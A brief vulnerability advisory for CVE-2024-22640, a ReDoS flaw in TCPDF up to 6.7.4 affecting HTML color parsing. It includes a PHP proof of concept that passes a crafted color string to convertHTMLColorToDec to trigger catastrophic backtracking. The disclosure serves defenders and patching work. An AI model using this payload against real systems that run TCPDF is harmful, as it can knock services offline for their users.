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CVE-2024-22640

Vulnerability Type

Regular expression Denial of Service (ReDoS)

Affected Product and Version

TCPDF <= 6.7.4

Attack Vector

TCPDF parse HTML color contains crafted payload.

Description

TCPDF version <= 6.7.4 is vulnerable to ReDoS (Regular Expression Denial of Service) if parsing an untrusted HTML page with a crafted color.

PoC

<?php

require_once('../tcpdf.php');

$test = new TCPDF_COLORS();
$ref = "none";
$test -> convertHTMLColorToDec('["t"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!]',$ref);
?>

Note: Checking with preg_last_error() after the vulnerable line of code, the regEx will exit with PREG_BACKTRACK_LIMIT_ERROR.